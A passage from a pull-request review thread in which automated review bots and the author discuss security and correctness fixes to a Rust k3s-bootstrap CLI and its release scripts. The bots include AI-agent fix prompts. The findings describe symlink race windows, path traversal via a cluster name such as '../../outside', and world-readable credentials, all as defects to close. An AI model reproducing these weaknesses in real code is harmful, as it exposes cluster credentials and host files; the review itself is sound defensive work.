certificate state.
The release workflow resolved the tag independently in every job. One resolve
job now pins a single commit that all four matrix builds check out, and publish
refuses to attach archives to a tag that has moved since. set-version.sh
restores its backups when it exits between applying manifests and refreshing
the lockfile, including on a signal.
There was a problem hiding this comment.
Actionable comments posted: 1
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
k8s_cli/src/manager/parsing.rs (1)
32-38: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winReturn the empty set after valid wrapped JSON.
When
outputparses as JSON but contains no VM names, Line 38 parses JSON syntax as table text. For example,{"output":"[]"}returns a VM named[]. Bootstrap can then attempt to create that false VM.Return
Ok(names)after successful inner JSON parsing, even whennamesis empty.Proposed fix
if let Ok(inner) = serde_json::from_str::<Value>(output.trim()) { collect_vm_names_from_json(&inner, &mut names); - if !names.is_empty() { - return Ok(names); - } + return Ok(names); } return Ok(parse_vm_names_from_text(output));🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@k8s_cli/src/manager/parsing.rs` around lines 32 - 38, Update the JSON-parsing branch in the VM-name parsing function to return Ok(names) immediately after successful serde_json::from_str and collect_vm_names_from_json, regardless of whether names is empty; only fall back to parse_vm_names_from_text when JSON parsing fails.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@k8s_cli/src/manager/state.rs`:
- Around line 58-80: In k8s_cli/src/manager/state.rs:58-80, replace predictable
staging-path creation and pathname rename with directory-handle operations, an
unpredictable staging name, and protected no-follow semantics so an attacker
cannot substitute the staged entry; in k8s_cli/src/manager/state.rs:102-111,
open the target without following symlinks, validate metadata from that opened
descriptor, and read from the same descriptor rather than reopening the
replaceable path.
---
Outside diff comments:
In `@k8s_cli/src/manager/parsing.rs`:
- Around line 32-38: Update the JSON-parsing branch in the VM-name parsing
function to return Ok(names) immediately after successful serde_json::from_str
and collect_vm_names_from_json, regardless of whether names is empty; only fall
back to parse_vm_names_from_text when JSON parsing fails.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 5efd256b-d507-4e66-b9af-d8034f28e4d4
📒 Files selected for processing (8)
.github/workflows/release.ymlcore/src/shell.rsk8s_cli/src/manager/mod.rsk8s_cli/src/manager/parsing.rsk8s_cli/src/manager/process.rsk8s_cli/src/manager/state.rsk8s_cli/src/manager/tests.rsscripts/release/set-version.sh
🚧 Files skipped from review as they are similar to previous changes (3)
- core/src/shell.rs
- k8s_cli/src/manager/mod.rs
- k8s_cli/src/manager/tests.rs
📜 Review details
⏰ Context from checks skipped due to timeout. (1)
- GitHub Check: winnowl/review
🔇 Additional comments (9)
k8s_cli/src/manager/parsing.rs (1)
40-43: LGTM!Also applies to: 152-157
k8s_cli/src/manager/process.rs (1)
22-30: LGTM!Also applies to: 82-89, 206-222, 255-288, 303-308, 392-397
k8s_cli/src/manager/state.rs (1)
2-40: LGTM!.github/workflows/release.yml (4)
21-53: LGTM!
55-57: LGTM!Also applies to: 81-84
117-128: LGTM!Also applies to: 137-141
165-165: LGTM!Also applies to: 178-197, 206-206
scripts/release/set-version.sh (2)
74-91: LGTM!
130-141: LGTM!
There was a problem hiding this comment.
Actionable comments posted: 5
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (5)
- 🟠 High The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after
Verify the tag still points at the built commitcompletes but beforeaction-gh-releaseresolvestag_name, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move. (inline) - 🟡 Medium Creating a team pool is not classified as dangerous even though
pool newmutates the team's reserved-capacity resource (and the command is documented as reserved capacity). The dangerous list coverspool deletebut has nopool newprefix, soexedev-ctl pool new ...bypasses the confirmation required for newly supported resource-mutating operations. This would be false only if pool creation is guaranteed not to reserve/bill capacity and is intentionally considered harmless. (inline) - 🟡 Medium Manual dispatch does not reject an invalid tag name at the resolve boundary. Any existing non-semver tag (or a tag object whose peeled object is not a commit) is accepted and emitted as
needs.resolve.outputs.tag/sha; the workflow only discovers a semver failure later in each matrix build when set-version runs, wasting builds and violating the requirement that invalid dispatch tags be rejected before build. There is also no explicit validation that the fetched object type is commit after peeling. (inline) - 🟡 Medium An explicitly configured
TAP_FORMULA_PATHis accepted without any validation or confinement. The script creates its parent and truncates the path withcat >, so a caller-controlled value such as an absolute path,../path, or symlink can overwrite an arbitrary file rather than a formula under the tap; this is not prevented by the repository/path validation (which only applies to auto-discovery). (inline) - 🟡 Medium Selecting a saved billing payment method is not guarded as dangerous. The typed
billing payment default <reference>command changes which card will be charged, butis_dangerousonly coversbilling payment remove; therefore an interactive invocation executes without the required local confirmation. This would be false only if the server guarantees that changing the default payment method is harmless/non-consequential and is intentionally excluded from dangerous operations. (inline)
⛔ Unresolved from previous review (2) — not approved until fixed
read_or_create_k3s_tokenfollows a symlink when loading an existing generated token (path.exists()followed byfs::read_to_string(&path)). An attacker or another local process that can alter.exedev-k8s/<cluster>/k3s-tokencan replace it with a symlink to an arbitrary readable file, causing bootstrap to use that file's contents as the k3s token (and potentially disclose/use unrelated secret material). The write path removes a symlink, but the read path has nosymlink_metadata/no-follow validation, so the stated replacement-and-secret-file invariant is incomplete. This would be false only if the state directory and all entries were guaranteed immutable/trusted for the entire process lifetime. — The read path now callsread_regular_file, which checkssymlink_metadata, but the check and the subsequentfs::read_to_string(path)are separate pathname operations. A local attacker can replace the validated regular file with a symlink in that interval;read_to_stringwill then follow the symlink and adopt the target contents. Thus the reported replacement-and-secret-file consequence remains possible via a TOCTOU race.- k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now gated on the marker, but it still retries status 255 whenever the marker is absent.remote_status_scriptemits the marker only after the remote script finishes, so a connection loss after the bootstrap executed but before the marker was received leaves no marker in captured stdout and satisfiesoutput.status.code() == Some(255) && !remote_ran; the full script is sent again. Thus the reported duplicate-execution consequence remains possible.
📋 Additional findings from this change (not shown inline) (8)
- 🟠 High Generated state paths can escape the intended .exedev-k8s directory because cluster.name is only checked for nonempty and is joined directly into the path; a fleet cluster name such as ../../outside causes token and generated kubeconfig writes outside the state root. (k8s_cli/src/manager/state.rs) — anchor-outside-diff
- 🟠 High The release workflow does not satisfy immutable action pinning for the build and artifact steps: checkout, toolchain installation, cache, artifact upload, and artifact download all use mutable tags (
@v7,@stable,@v2,@v8). A retagged or compromised upstream action can therefore execute code in the release workflow (and in build jobs that compile third-party crates), despite the publish action itself being pinned. (.github/workflows/release.yml) — anchor-outside-diff - 🟠 High A cancelled or otherwise dropped kubectl mutation can leave the kubectl child running because run_command does not set kill_on_drop and has no enclosing timeout. (k8s_cli/src/manager/process.rs) — anchor-outside-diff
- 🟠 High Reusing a persisted token does not enforce restrictive permissions: the existing-file branch only reads the file and returns its contents, so a token file created or changed to mode 0644 remains readable by other users on every subsequent run. (k8s_cli/src/manager/state.rs) — anchor-outside-diff
- 🟠 High The generated k3s server kubeconfig is made world-readable on the VM: both server installation paths pass --write-kubeconfig-mode 644, although /etc/rancher/k3s/k3s.yaml contains client credentials. Any local VM user can read those credentials before fetch_kubeconfig copies the file. (k8s_cli/src/manager/scripts.rs) — anchor-unreliable
- 🟠 High Existing-mode readiness, metadata, and manifest operations are not bound to K3S_URL: when --kubeconfig and KUBECONFIG are absent, the code proceeds with kubectl's default context. This can report readiness for or mutate an unrelated cluster while workers were installed against the required K3S_URL. (k8s_cli/src/manager/mod.rs) — anchor-unreliable
- 🟡 Medium A remote SSH stdin write failure is discarded whenever ssh also exits unsuccessfully, so the caller reports only the child status/detail and cannot distinguish a broken stdin pipe from a transport or remote failure. (k8s_cli/src/manager/process.rs) — anchor-outside-diff
- 🟡 Medium The script's
cargo update --workspaceis broader than a local package-version refresh and can re-resolve compatible registry dependencies in Cargo.lock. Thus a release run can silently change the reviewed third-party lock selection even though the script says no third-party dependency selection changes; with--lockedbuilds this produces artifacts from dependency versions different from the committed lockfile. (scripts/release/set-version.sh) — anchor-unreliable
♻️ Previously reported (still present) (3)
- 🟡 Medium New-mode bootstrap accepts an explicitly empty K3S_TOKEN and uses it as the cluster credential. (k8s_cli/src/manager/state.rs) — previously-reported
- 🟡 Medium On a failed or interrupted
cargo update, the rollback restores only the manifest backups, not Cargo.lock.cargo update --workspaceruns after manifests are moved into place, while Cargo.lock is not included in TARGETS and is never backed up; if Cargo writes a new/partial lockfile before returning nonzero or the process is interrupted, EXIT cleanup restores old manifests but leaves the lockfile at the new state, violating manifest/lock consistency on failure paths. (scripts/release/set-version.sh) — previously-reported - 🔵 Low A JSON wrapper whose
outputcontains a valid but empty/error serialized listing is incorrectly fed to the text parser, inventing a VM name from the JSON text. (k8s_cli/src/manager/parsing.rs) — previously-reported
❓ Low-evidence leads (not confirmed — verify before acting) (2)
- Archive validation checks only that each expected pathname appears in
tar -tzfoutput. It does not verify entry types or reject extra/path-traversal entries: a symlink or hardlink named./exedev-ctl(or duplicate expected names alongside unrelated members) passesgrep -qx. Formula generation then records a checksum and publishes a formula for an archive whose install payload is not the expected set of regular binaries/docs, defeating the requirement to validate downloaded artifacts before generation and potentially causing unsafe extraction/install behavior. (scripts/release/sync-homebrew-tap.sh) - Remote stdout is not preserved exactly: parse_remote_stdout strips every trailing newline before the completion marker. (k8s_cli/src/manager/process.rs)
🤖 Prompt for AI agents — all findings (18)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (2)
Somewhere in the code under review, address this finding:
`read_or_create_k3s_token` follows a symlink when loading an existing generated token (`path.exists()` followed by `fs::read_to_string(&path)`). An attacker or another local process that can alter `.exedev-k8s/<cluster>/k3s-token` can replace it with a symlink to an arbitrary readable file, causing bootstrap to use that file's contents as the k3s token (and potentially disclose/use unrelated secret material). The write path removes a symlink, but the read path has no `symlink_metadata`/no-follow validation, so the stated replacement-and-secret-file invariant is incomplete. This would be false only if the state directory and all entries were guaranteed immutable/trusted for the entire process lifetime.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (5)
In .github/workflows/release.yml around line 206, address this finding:
The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after `Verify the tag still points at the built commit` completes but before `action-gh-release` resolves `tag_name`, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move.
In core/src/shell.rs around line 78, address this finding:
Creating a team pool is not classified as dangerous even though `pool new` mutates the team's reserved-capacity resource (and the command is documented as reserved capacity). The dangerous list covers `pool delete` but has no `pool new` prefix, so `exedev-ctl pool new ...` bypasses the confirmation required for newly supported resource-mutating operations. This would be false only if pool creation is guaranteed not to reserve/bill capacity and is intentionally considered harmless.
In .github/workflows/release.yml around line 41, address this finding:
Manual dispatch does not reject an invalid tag name at the resolve boundary. Any existing non-semver tag (or a tag object whose peeled object is not a commit) is accepted and emitted as `needs.resolve.outputs.tag/sha`; the workflow only discovers a semver failure later in each matrix build when set-version runs, wasting builds and violating the requirement that invalid dispatch tags be rejected before build. There is also no explicit validation that the fetched object type is commit after peeling.
In scripts/release/sync-homebrew-tap.sh around line 182, address this finding:
An explicitly configured `TAP_FORMULA_PATH` is accepted without any validation or confinement. The script creates its parent and truncates the path with `cat >`, so a caller-controlled value such as an absolute path, `../` path, or symlink can overwrite an arbitrary file rather than a formula under the tap; this is not prevented by the repository/path validation (which only applies to auto-discovery).
In core/src/shell.rs around line 81, address this finding:
Selecting a saved billing payment method is not guarded as dangerous. The typed `billing payment default <reference>` command changes which card will be charged, but `is_dangerous` only covers `billing payment remove`; therefore an interactive invocation executes without the required local confirmation. This would be false only if the server guarantees that changing the default payment method is harmless/non-consequential and is intentionally excluded from dangerous operations.
## Additional findings on this change (not posted inline) (8)
In k8s_cli/src/manager/state.rs around line 14, address this finding:
Generated state paths can escape the intended .exedev-k8s directory because cluster.name is only checked for nonempty and is joined directly into the path; a fleet cluster name such as ../../outside causes token and generated kubeconfig writes outside the state root.
In .github/workflows/release.yml around line 79, address this finding:
The release workflow does not satisfy immutable action pinning for the build and artifact steps: checkout, toolchain installation, cache, artifact upload, and artifact download all use mutable tags (`@v7`, `@stable`, `@v2`, `@v8`). A retagged or compromised upstream action can therefore execute code in the release workflow (and in build jobs that compile third-party crates), despite the publish action itself being pinned.
In k8s_cli/src/manager/process.rs around line 188, address this finding:
A cancelled or otherwise dropped kubectl mutation can leave the kubectl child running because run_command does not set kill_on_drop and has no enclosing timeout.
In k8s_cli/src/manager/state.rs around line 35, address this finding:
Reusing a persisted token does not enforce restrictive permissions: the existing-file branch only reads the file and returns its contents, so a token file created or changed to mode 0644 remains readable by other users on every subsequent run.
In k8s_cli/src/manager/scripts.rs, address this finding:
The generated k3s server kubeconfig is made world-readable on the VM: both server installation paths pass --write-kubeconfig-mode 644, although /etc/rancher/k3s/k3s.yaml contains client credentials. Any local VM user can read those credentials before fetch_kubeconfig copies the file.
In k8s_cli/src/manager/mod.rs, address this finding:
Existing-mode readiness, metadata, and manifest operations are not bound to K3S_URL: when --kubeconfig and KUBECONFIG are absent, the code proceeds with kubectl's default context. This can report readiness for or mutate an unrelated cluster while workers were installed against the required K3S_URL.
In k8s_cli/src/manager/process.rs around line 289, address this finding:
A remote SSH stdin write failure is discarded whenever ssh also exits unsuccessfully, so the caller reports only the child status/detail and cannot distinguish a broken stdin pipe from a transport or remote failure.
In scripts/release/set-version.sh, address this finding:
The script's `cargo update --workspace` is broader than a local package-version refresh and can re-resolve compatible registry dependencies in Cargo.lock. Thus a release run can silently change the reviewed third-party lock selection even though the script says no third-party dependency selection changes; with `--locked` builds this produces artifacts from dependency versions different from the committed lockfile.
## Previously reported and still present (3)
In k8s_cli/src/manager/state.rs around line 23, address this finding:
New-mode bootstrap accepts an explicitly empty K3S_TOKEN and uses it as the cluster credential.
In scripts/release/set-version.sh around line 137, address this finding:
On a failed or interrupted `cargo update`, the rollback restores only the manifest backups, not Cargo.lock. `cargo update --workspace` runs after manifests are moved into place, while Cargo.lock is not included in TARGETS and is never backed up; if Cargo writes a new/partial lockfile before returning nonzero or the process is interrupted, EXIT cleanup restores old manifests but leaves the lockfile at the new state, violating manifest/lock consistency on failure paths.
In k8s_cli/src/manager/parsing.rs around line 26, address this finding:
A JSON wrapper whose `output` contains a valid but empty/error serialized listing is incorrectly fed to the text parser, inventing a VM name from the JSON text.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 6 of 6 areas reviewed
| uses: softprops/action-gh-release@3d0d9888cb7fd7b750713d6e236d1fcb99157228 | ||
| with: | ||
| tag_name: ${{ steps.meta.outputs.tag }} | ||
| tag_name: ${{ needs.resolve.outputs.tag }} |
There was a problem hiding this comment.
🔍 Data Integrity | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact probability of the interleaving depends on repository tag protections and who has permission to move the tag, but those controls do not make the workflow operation atomic.
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after `Verify the tag still points at the built commit` completes but before `action-gh-release` resolves `tag_name`, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move.
| "team disable", | ||
| "team settings auto-join on", | ||
| "domain rm ", | ||
| "pool delete ", |
There was a problem hiding this comment.
🔍 Authorization | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In core/src/shell.rs, address this finding:
Creating a team pool is not classified as dangerous even though `pool new` mutates the team's reserved-capacity resource (and the command is documented as reserved capacity). The dangerous list covers `pool delete` but has no `pool new` prefix, so `exedev-ctl pool new ...` bypasses the confirmation required for newly supported resource-mutating operations. This would be false only if pool creation is guaranteed not to reserve/bill capacity and is intentionally considered harmless.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| "pool delete ", | |
| "pool new ", | |
| "pool delete", |
| run: | | ||
| set -euo pipefail | ||
| if [[ "${GITHUB_EVENT_NAME}" == "workflow_dispatch" ]]; then | ||
| tag="${INPUT_TAG_NAME}" |
There was a problem hiding this comment.
🔍 Build Deployment | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
Manual dispatch does not reject an invalid tag name at the resolve boundary. Any existing non-semver tag (or a tag object whose peeled object is not a commit) is accepted and emitted as `needs.resolve.outputs.tag/sha`; the workflow only discovers a semver failure later in each matrix build when set-version runs, wasting builds and violating the requirement that invalid dispatch tags be rejected before build. There is also no explicit validation that the fetched object type is commit after peeling.
| } | ||
|
|
||
| mkdir -p "$(dirname "$TAP_FORMULA_PATH")" | ||
| cat > "$TAP_FORMULA_PATH" <<FORMULA |
There was a problem hiding this comment.
🔒 Security | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
An explicitly configured `TAP_FORMULA_PATH` is accepted without any validation or confinement. The script creates its parent and truncates the path with `cat >`, so a caller-controlled value such as an absolute path, `../` path, or symlink can overwrite an arbitrary file rather than a formula under the tap; this is not prevented by the repository/path validation (which only applies to auto-discovery).
| "pool delete ", | ||
| "billing capacity", | ||
| "billing credits buy ", | ||
| "billing payment remove ", |
There was a problem hiding this comment.
🔍 Authorization | 🟡 Medium
🧩 Analysis
- Change relation: unknown
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In core/src/shell.rs, address this finding:
Selecting a saved billing payment method is not guarded as dangerous. The typed `billing payment default <reference>` command changes which card will be charged, but `is_dangerous` only covers `billing payment remove`; therefore an interactive invocation executes without the required local confirmation. This would be false only if the server guarantees that changing the default payment method is harmless/non-consequential and is intentionally excluded from dangerous operations.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| "billing payment remove ", | |
| "billing payment remove ", | |
| "billing payment default ", |
State paths took the fleet's cluster name unchecked, so a name like `../../outside` wrote the token and kubeconfig outside `.exedev-k8s`; the name is now reduced to a single path component. An exported but empty K3S_TOKEN was accepted through `env::var` and became the cluster credential for the server and every agent. A reused token file left readable by others stayed that way on every later run, and is now tightened when it is read back. Secret staging used a name derived from the pid and unlinked it first, which is both guessable and a window for substitution. The name is now random and the `create_new` open, which refuses any existing entry including a symlink, is what guarantees the file is this process's own. The read path checked the path and then reopened it, so the entry could be swapped in between; it now reads through one handle and confirms that handle is the object the no-follow check accepted. k3s wrote its server kubeconfig 0644 on the VM, exposing client credentials to every local user there. fetch_kubeconfig reads it through sudo, so nothing needed that; it is now 0600. A JSON wrapper holding an empty or error listing was still handed to the text parser, which returned a VM named after the JSON. A parsed listing is now the answer whether or not it is empty. The guard now also covers `pool new`, which reserves billable capacity like the `billing capacity` change already listed, and `billing payment default`, which changes the card that gets charged. Release inputs are checked where they enter: the semver grammar moved to check-version.sh so the resolve step rejects a bad dispatch tag before four matrix builds start, the peeled tag object must be a commit, and every action is pinned to a commit rather than a mutable tag. set-version.sh now backs up Cargo.lock alongside the manifests, so an interrupted refresh no longer restores manifests and leaves a rewritten lockfile. The tap script validates an explicit TAP_FORMULA_PATH, which it creates and truncates, the same way it validates a discovered one.
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (1)
scripts/release/check-version.sh (1)
21-25: 🎯 Functional Correctness | 🔵 Trivial | ⚡ Quick winMake SemVer matching locale-independent.
[[ ... =~ ... ]]uses locale-sensitive POSIX ERE ranges. ExportLC_ALL=Cbefore the match so the release gate accepts only ASCII SemVer characters on every runner.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@scripts/release/check-version.sh` around lines 21 - 25, Set LC_ALL=C before the SEMVER_RE match in the version-check flow so the [[ "$VERSION" =~ $SEMVER_RE ]] evaluation uses ASCII-only, locale-independent character ranges. Keep the existing SemVer pattern and validation behavior unchanged.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@k8s_cli/src/manager/state.rs`:
- Around line 30-45: Update state_dir_name so distinct cluster_name values
cannot map to the same directory, while retaining readable sanitization where
possible. Encode the original UTF-8 bytes injectively or append an unambiguous
encoded suffix derived from the original name, and preserve the existing
fallback for names containing only underscores or otherwise ensure it remains
collision-free.
- Around line 67-72: The existing-token path returns empty or whitespace-only
contents from read_regular_file. In the path.exists() branch, validate the
trimmed token before restrict_secret_permissions and return, producing a clear
error for an empty value; preserve normal reuse for non-empty tokens. Add a test
covering an existing empty k3s-token file.
---
Nitpick comments:
In `@scripts/release/check-version.sh`:
- Around line 21-25: Set LC_ALL=C before the SEMVER_RE match in the
version-check flow so the [[ "$VERSION" =~ $SEMVER_RE ]] evaluation uses
ASCII-only, locale-independent character ranges. Keep the existing SemVer
pattern and validation behavior unchanged.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 3fdd087b-3f27-413a-8dbc-c596a27e2fb8
📒 Files selected for processing (9)
.github/workflows/release.ymlcore/src/shell.rsk8s_cli/src/manager/parsing.rsk8s_cli/src/manager/scripts.rsk8s_cli/src/manager/state.rsk8s_cli/src/manager/tests.rsscripts/release/check-version.shscripts/release/set-version.shscripts/release/sync-homebrew-tap.sh
🚧 Files skipped from review as they are similar to previous changes (5)
- core/src/shell.rs
- scripts/release/set-version.sh
- scripts/release/sync-homebrew-tap.sh
- k8s_cli/src/manager/parsing.rs
- k8s_cli/src/manager/tests.rs
📜 Review details
⏰ Context from checks skipped due to timeout. (1)
- GitHub Check: winnowl/review
🧰 Additional context used
🪛 zizmor (1.29.0)
.github/workflows/release.yml
[error] 109-109: runtime artifacts potentially vulnerable to a cache poisoning attack (cache-poisoning): enables caching by default
(cache-poisoning)
🔇 Additional comments (8)
k8s_cli/src/manager/scripts.rs (1)
218-224: LGTM!.github/workflows/release.yml (6)
194-219: The tag verification is still not atomic with release creation.A tag can move after line 210 and before
softprops/action-gh-releaseresolvestag_name. The release can then attach archives built fromBUILT_SHAto the moved tag. This is the same unresolved issue from the previous review.
29-32: LGTM!
47-60: LGTM!
92-109: LGTM!
130-154: LGTM!
170-170: LGTM!Also applies to: 185-185
scripts/release/check-version.sh (1)
1-20: LGTM!Also applies to: 26-31
There was a problem hiding this comment.
Actionable comments posted: 5
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (5)
- 🟡 Medium The publish-time moving-tag check is not an atomic safeguard: it reads the tag target, then separately invokes
softprops/action-gh-releasewith onlytag_name. If an authorized actor moves the tag after thegh apicheck but before or during the release action, the action can create/update the release for the new target while attaching archives built fromBUILT_SHA. Thus the workflow can publish artifacts that do not match the tag despite the verification step. This would be false only if the repository prevents tag updates for the entire check-to-action interval or the release action/API pins the release target toBUILT_SHA(neither is expressed here). (inline) - 🟡 Medium Archive member validation checks only that expected names appear, not that the entries are regular root files, so a malicious or malformed release archive can pass validation while formula installation receives the wrong payload type. (inline)
- 🟡 Medium The script allows FORMULA_NAME and FORMULA_CLASS to identify different formulae, producing a file Homebrew cannot discover under the requested formula name. (inline)
- 🟡 Medium
share receive-emailis a mutating access/capability command but is not classified as dangerous. The CLI buildsshare receive-email <vm> [on|off] [--reply-policy ...], which changes whether a VM can send email and who it may email;guard_dangerous_commandis called for both transports before execution, yetis_dangeroushas noshare receive-emailrule. Thus a user can enable broad email capability without confirmation. (inline) - 🔵 Low The destination-precedence test does not actually verify the required invariant that
ssh_destis authoritative: inparses_ssh_destinations_from_ls_json, each record either has matchingssh_dest/host fields or only host/user fields. A regression that incorrectly prefersssh_host+ssh_userover a conflictingssh_destwould pass the suite, despite connecting to a different VM route. This is a concrete test-alignment gap; it would be disproven if another exercised test (outside the reviewed file) supplies conflicting fields and assertsssh_destwins. (inline)
⛔ Unresolved from previous review (3) — not approved until fixed
- Existing-mode readiness, metadata, and manifest operations are not bound to K3S_URL: when --kubeconfig and KUBECONFIG are absent, the code proceeds with kubectl's default context. This can report readiness for or mutate an unrelated cluster while workers were installed against the required K3S_URL. — The existing-mode path still permits both kubeconfig sources to be absent: it only prints a warning in
bootstrap_k3s, then passesNonethroughkubeconfig_for_bootstrapto readiness, node, metadata, and manifest calls.kubeconfig_args(None, ...)omits--kubeconfig, so kubectl still uses its default context, with no validation that it targetsK3S_URL; the reported unrelated-cluster readiness or mutation remains possible. - The generated k3s server kubeconfig is made world-readable on the VM: both server installation paths pass --write-kubeconfig-mode 644, although /etc/rancher/k3s/k3s.yaml contains client credentials. Any local VM user can read those credentials before fetch_kubeconfig copies the file.
- k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now suppressed when captured stdout containsREMOTE_EXIT_PREFIX, but the retry condition still treats absence of that marker as proof that the remote script did not run:if output.status.code() == Some(255) && !remote_ran && attempt < REMOTE_SSH_ATTEMPTS. The wrapper emits the marker only after the script finishes, so a transport drop after the state-changing script has executed but before the marker is received leavesremote_ranfalse and still resends the script. Thus status 255 can still cause a duplicate bootstrap; the current code does not establish that the remote command did not execute.
📋 Additional findings from this change (not shown inline) (8)
- 🟠 High The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. (.github/workflows/release.yml) — anchor-unreliable - 🟡 Medium The
integrations setupprefix blocks the explicitly read-onlyintegrations setup <type> --listform.build_integrations_commandemits that exact form forIntegrationSetupCmd.list, while the classifier treats every setup invocation as dangerous; consequently a listing operation prompts and can be cancelled, violating the non-mutating-command exemption. (core/src/shell.rs) — anchor-outside-diff - 🟡 Medium When a JSON response contains both outer listing records and an
outputfield containing a serialized listing, the two parsers disagree with the full payload:parse_vm_namesreturns immediately once it finds any outer name, andparse_ssh_destinationsonly unwraps when it finds no outer destinations. Thus{"vms":[{"vm_name":"existing"}],"output":"[{\"vm_name\":\"new\",\"ssh_dest\":\"vm+new@exe.dev\"}]"}yields onlyexistingand no target fornew, causing inventory/name-target mappings to be incomplete and potentially causing bootstrap to recreate or use hostname fallback for a VM represented in the serialized listing. This is disproven if the API contract guarantees wrapper objects never contain any listing fields outsideoutput; the stated obligation for partially populated/wrapped listings should still be covered by a test or explicit invariant. (k8s_cli/src/manager/parsing.rs) — anchor-outside-diff - 🟡 Medium The systemd agent bootstrap can report success while the k3s agent has not actually become usable: it starts the unit with
systemctl start --no-block, andk3s_service_startedtreatsactivatingas success. The readiness loop then breaks immediately and the final check also accepts the same transient state, so a subsequent startup failure or hang is not surfaced. (k8s_cli/src/manager/scripts.rs) — anchor-outside-diff - 🟡 Medium The push path never validates the release tag before resolving it. Because the trigger pattern is only
v*, a pushed tag such asv1.2orvreleasereaches the resolve job and is exported to all builds; each matrix job then performs checkout and toolchain setup beforeset-version.shrejects it. This violates the stated resolve-time validation and allows workflow runs for tags outside the binary/Cargo SemVer grammar (with wasted build work and no early rejection). The claim would be false if an external repository policy guaranteed every pushedv*tag is valid SemVer, but the workflow itself provides no such enforcement. (.github/workflows/release.yml) — anchor-unreliable - 🟡 Medium Several dangerous prefixes are matched without a token boundary, so valid/raw commands whose next token merely starts with the dangerous spelling are classified as dangerous. For example,
